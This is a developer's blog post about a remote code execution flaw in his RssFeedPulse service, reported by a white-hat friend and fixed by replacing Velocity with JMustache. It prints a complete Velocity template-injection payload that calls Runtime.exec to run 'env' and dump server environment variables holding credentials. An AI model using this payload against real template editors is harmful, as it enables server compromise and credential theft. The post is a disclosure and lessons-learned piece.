Huge security breach on RssFeedPulse

By Hugo LassiègeSep 30, 20245 min read

And no, this title is not clickbait. I really did have a huge security breach.

If you're interested in seeing how easy it is to introduce a critical flaw into your code, or how white hat works in real life, this is the place.

A disturbing message on Twitter

On September 20, I published an article. That same evening, I received this private message:

Hello, I've just read your latest article on mjml templating, I think you may have a vulnerability in the interpretation of your template. I can't confirm it, I'm only basing myself on the screenshots in your post, but if you've got a trial version, I'd be happy to try and confirm :)

Ok.

What to do in this case :

  • answer A: threaten to sue the person for attempted blackmail
  • answer B: ignore the message, it's probably a scam
  • answer C: shutdown the server
  • answer D : give access to the person sending the message

You can do what you like, but I know the person who contacted me very well. His name is Mickael Jeanroy. He used to be a Staff Engineer at Malt and is very committed to cybersecurity.

In short, I trust him completely. So I chose answer D.

Verdict:

An RCE!?

Ok, so it's a cold shower, it's an RCE: Remote code execution.

It's one of the worst security holes, allowing code to be executed on my server.

But how is this possible?

So in the morning, I published an article on the implementation of MJML on RssFeedPulse. More importantly, I added a code editor allowing users to modify their template.

It was this screenshot that alerted Mickael:

Let's play a game and think for a moment. What could have tipped Mickael off?

What do you see immediately?

...
...
...
...

That's right, the template engine!

Ah, you hadn't noticed? I hadn't either...

From the screenshot, you can tell from the syntax that I'm using Velocity to display variables or iterate over variables.

I've been using it since the beginning, but here, with this new feature, I'm proposing that users modify the template.

And that's where the drama begins. And Mickael saw it right away.

Velocity provides access to the JVM. So we can write this in the template :

#set($s="")
#set($stringClass=$s.getClass())
#set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))
#set($inputStreamClass=$stringClass.forName("http://java.io.InputStream"))
#set($readerClass=$stringClass.forName("http://java.io.Reader"))
#set($inputStreamReaderClass=$stringClass.forName("http://java.io.InputStreamReader"))
#set($bufferedReaderClass=$stringClass.forName("http://java.io.BufferedReader"))
#set($collectorsClass=$stringClass.forName("http://java.util.stream.Collectors"))
#set($systemClass=$stringClass.forName("java.lang.System"))
#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))

#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("env"))
#set($null=$process.waitFor() )

#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
#set($stringBuilder=$stringBuilderConstructor.newInstance())

#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))

These lines are used to call Runtime.exec and, for example here, to call the env command and store the return in the output variable.

Then, simply display the $output variable in the template to access all server environment variables.

These variables contain many things. I'm on a PAAS: Clever Cloud. And the way Clever Cloud passes credentials for the database, or any other sensitive properties of my app, is via environment variables.

In other words, it's an open door to all the SAAS I use.

A quick fix

Thanks to Mickael, I was able to quickly find out about the problem and, of course, correct it.

For the fix, I had to completely remove Velocity from the application and replace it with JMustache. It's a less powerful library, but that's exactly what's needed here...

Fortunately, it didn't take very long to do, and the commit was done in a flash:

What we can learn from all this:

  • Always keep in touch with your former colleagues, especially those in the cybersecurity team ^^.
  • White hats aren't there to annoy you, they're there to help you.
  • Security isn't just theory to scare people. This flaw could have caused immense damage
  • Once you know about the flaw, you have to react immediately.
  • You have to think about any data exposed on the interface. (more or less like SQL injection)

As for the last point, I missed it. I'm sensitive to these issues, but I didn't remember that Velocity allowed you to call Runtime.exec. It's not just a matter of escaping variables. This lib should not have been used in this context.

But thanks to Micka, I'm safe.

Build in public, it's dangerous!?

Now this opens up an interesting discussion. Is it right to do what I do, i.e. publish articles about what I'm building?

Is it right to "build in public"?

Isn't it dangerous? Doesn't it give away information to potential attackers?

Yes and no.

In this case, I'd say quite the opposite. It's precisely because I build in public that a friend quickly alerted me to some bullshit I might have written.

But an attacker could also have seen the flaw and registered for the occasion...

In the other option, if I hadn't mentioned it in a blog post, Michael wouldn't have seen it. I would have missed it and one day, perhaps, a malicious user would have detected the flaw and exploited it. To do that, he'd have had to pay a subscription first, but then again, that's not an impossible scenario.

So that leaves two options (in my indie hacker solo configuration, otherwise there are other options):

  • don't talk about your code and count on security through secrecy and the fact that paying users won't dare to do that?
  • Build in public and risk revealing sensitive information?

Obviously, I'm not talking about people who build in public and literally publish credentials. That's a big mistake.

As for me, for the moment I find Build In Public more interesting and enriching for everyone, and for the time being, I'm going to continue. This blog has been around for many years now, and it's given me quite a few pleasant surprises.

But the question remains open for anyone starting out in this field (or in open source, which includes similar issues).

And if you're interested in the subject of ethical hacking, don't hesitate to watch the video I released on the subject (in french however):

Bye


Share this:

Written by Hugo Lassiège

Software Engineer with more than 20 years of experience. I love to share about technologies and startups

Copyright © 2024
 Eventuallymaking
  Powered by Bloggrify